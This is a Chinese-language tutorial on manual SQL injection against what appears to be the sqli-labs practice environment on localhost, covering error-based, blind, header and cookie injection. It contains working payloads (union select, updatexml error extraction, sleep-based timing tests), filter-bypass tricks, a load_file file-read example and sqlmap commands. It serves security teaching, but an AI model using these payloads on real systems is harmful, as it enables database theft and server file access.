Web 安全攻防, 手动SQL注入
1. 注入原理
1-1. SQL注入介绍
介绍: SQL注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库任意操作。
1-2. 注入需要具备的两个条件
- 参数用户可控
- 参数带入数据库查询,传入的参数拼接到SQL语句,并且带入数据库查询
1-3. 危害
- 数据库敏感信息泄露
- 页面被窜改
- 数据库被恶意操作
- 服务器被远程控制
1-4. SQL注入的分类
根据注入位置数据类型:
- 字符串注入
- 数字注入
根据返回结果:
- 显错注入(error-based)
- 盲注(boolean/time-based blind)
1-5. SQL注入形成的原因
- 数据与代码未严格分离
- 用户提交的参数数据未做充分检查过滤及被带入到SQL命令中,改变了原有SQL命令的’语 义’ ,且成功被数据库执行。
1-6. 注入过程
- 客户端参数值等数据被修改
- 服务端未经检查和过滤即将被修改的数据注入到SQL命名中,SQL命令原有功能被修改
- 数据库引擎执行被修改后的SQL命令
- 服务端将注入的结果返回给客户端
- 客户端根据上一次注入获取到的敏感信息构造注入语法进行进一步注入
2. SQL注入
2-1. GET和POST请求
2-1-2. 介绍
GET提交: 请求的数据会附在URL之后(就是把数据放置在HTTP协议头中),以?分割URL 和传输数据,多个参数用&连接
POST提交: 把提交的数据放置在是HTTP包的包体中。
2-1-3. GET基于报错的SQL注入
通过url中修改对应的ID值,为正常数字、字符(单引号,双引号,括号)、反斜线来探测url中是否存在注入点
2-1-4. get基于报错的SQL注入利用
- order by判断字段数
- 利用union select联合查询,获取表名
- 利用union select联合查询,获取字段名
- .利用union select联合查询,获取字段值
2-2. 盲注
2-2-1. 盲注介绍
Blind SQL(盲注)是注入攻击的其中一种,向数据库发生true或false这样的问题,并根据应用程序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题
2-2-2. 盲注种类
- 布尔类型
- 时间盲注
2-2-3. GET基于时间的盲注
使用示例:
当数据库名第一个字母的ASCII码等于115时,执行一次sleep(3)函数等待3秒
if(ascii(substr(database(),1,1))=115,1,sleep(3))
2-2-4. GET基于Boolean的盲注
常用猜解字符串码:
SQL语句 | 显示状态 | 说明状态 |
---|---|---|
((select length(database()))>5) | 正常 | true |
((select length(database()))>10) | 无显示 | false |
((select length(database()))>7) | 正常 | true |
((select length(database()))>8) | 无显示 | false |
((select ascii(substr(database(),1,1)))>75) | 正常 | true |
((select ascii(substr(database(), 1,1)))>100) | 正常 | true |
((select ascii(substr(database(), 1,1)))>113) | 正常 | true |
((select ascii(substr(database(), 1,1)))>119) | 无显示 | false |
((select ascii(substr(database(), 1,1)))>116) | 无显示 | false |
((select ascii(substr(database(), 1,1)))>114) | 正常 | true |
((select ascii(substr(database(), 1,1)))>115) | 无显示 | false |
select length(database()); select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
2-2-5. POST基于错误的注入
特点:
- POST请求不能被缓存下来
- POST请求不会保存在浏览器浏览记录中
- 以POST请求的URL无法保存为浏览器书签
- POST请求没有长度限制
2-2-6. POST基于错误单引号注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完成修改任务
2-2-7. POST基于错误双引号注入
注入点位置发生了变化,在浏览器中已经无法直接进行查看与修改。可以借助对应的插件完成修改任务
2-2-8. POST基于时间的盲注
在存在注入点POST提交的参数后加
and (select (if(length(database())>5,sleep(5),null))) --
如果执行的页面响应时间大于5秒,肯定就存在注入,并且对应的SQL语句执行
2-2-9. POST基于布尔的盲注
在存在注入点POST提交的参数后加入if判断语句
select length(database()); select substr(database(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1)) > N;
select ascii(substr(database(),1,1)) = N;
select ascii(substr(database(),1,1)) < N;
3. SQL注入绕过手段
3-1. SQL注入染过手段介绍
如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。
例如: and 过滤,当然这种过滤只是发现关键字出现,并不会对关键字处理
3-2. 大小写绕过
介绍: 通过修改关键字内字母大小写来绕过过滤措施。
例如:
AnD 1=1
order by 可以使用 OrdER来进行绕过
3-3. 双写绕过
介绍: 如果在程序中设置出现关键字之后替换为空,那么SQL注入攻击也不会发生。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。就是将关键字替换为空
例如:
uniunionon union替换为空,也可以结合大小写绕过
3-4. 编码绕过
介绍: 可以利用URL编码工具,绕过SQL注入的过滤机制
URL编码工具: http://tool.chinaz.com/Tools/urlencode.aspx
3-5. 内联注释绕过
介绍: 在MySQL中内联注释中的内容可以被当做SQL语句执行
例如:
/*!select*/ * from users;
4. MySQL注入读写文件
4-1. MySQL注入读写文件介绍
介绍: MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行 对文件进行读写(前提是权限足够)
读取前提:
- 用户权限足够高,尽量具有root权限
- secure_file_priv不为null
读取文件内容示例: http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('D:\\1.txt'),3 --+
4-2. 开启MySQL文件写入
show variables like '%general%'; # 默认是关闭的
set global general\_log = on;
利用SQLMAP进行读写文件:
python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-read "D:\\\\1.t xt"
5. HTTP头中的SQL注入
5-1. HTTP头中的注入介绍
介绍: 在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。
过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤
5-2. updatexml函数
示例: UPDATEXML (XML_document, XPath_string, new_value);
解析:
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串)
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
5-3. HTTP User-Agent注入
示例: ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1' = '1
5-4. HTTP Referer注入
示例: ' or if(1=1,sleep(5),null) or '1'='1
5-5. sqlmap 安全测试
- sqlmap自动搜索POST表单注入
- sqlmap指定参数探测SQL注入
- sqlmap referer注入把referer 改成* 或者在后面加上*
6. cookie注入
6-1. HTTP头中的注入介绍
介绍: 服务器可以利用cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。cookies最经典的应用就是判断用户是否已经登录网站。
6-2. cookie注入
介绍: 代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
注入的payload示例:
Cookie: uname=admin' or 1=1 --+
Cookie: uname=admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+
6-3. sqlmap安全测试
sqlmap -r target.txt --level 3 --batch
6-4. cookie Base64注入
6-4-1. Base64介绍
介绍: base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。base64是网络上最常见的用于传输8Bit字节码的编码方式之一,base64就是一种基于64个可打印字符 来表示二进制数据的方法将原始内容转换为二进制,从左到右依次取6位,然后在最高补两位0,形成新的内容.。
编码规则:
- 把3个字符变成4个字符
- 每76个字符加一个换行符
- 最后的结束符也要处理
6-4-2. cookie Base64注入代码分析
base64加密网址: http://tool.oschina.net/encrypt?type=3
注释: 如果报出Warning: date(): 在php.ini中设置date.timezone的值为PRC,设置好以后的为:date.timezone=PRC
使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。
示例:
IiBvciAxPTEgIw==
6-5. sqlmap安全检测
python sqlmap.py -r target.txt --level 3 --tamper base64encode.py
7. 绕过SQL注入
7-1. 绕过去除注释符的SQL注入
注释符的作用: 用于标记某段代码的作用,起到对代码功能的说明作用。但是注释掉的内容不会被执行。
MySQL中的注释符:
- 单行注释: --+ 或 --空格 或 #
- 多行注释: /* 多行注释内容 */
说明: 对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
利用注释符过滤不能成功闭合单引号,换一种思路利用 or ‘1’ = '1闭合单引号
示例: http://127.0.0.1/sqli/Less-23/?id=1' --+
7-2. 绕过剔除and和or的SQL注入
7-2-1. MySQL基础
- MySQL中的大小写不敏感,大写与小写一样
- MySQL中的十六进制与URL编码
- 符号和关键字替换 and -> && , or -> ||
7-2-2. sqlmap探测
python sqlmap.py -u "http://127.0.0.1/sqli/Less-25/?id=1" --dbs --batch
7-3. 绕过去除空格的SQL注入
- 编码:hex,urlencode
- 空格 URL编码 %20
- TAB URL编码 %09
url编码: https://www.w3school.com.cn/tags/html_ref_urlencode.html
7-3-1. sqlmap探测
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免
python sqlmap.py -u "http://127.0.0.1/sqli/Less-25/?id=1" --hex --dbs --batch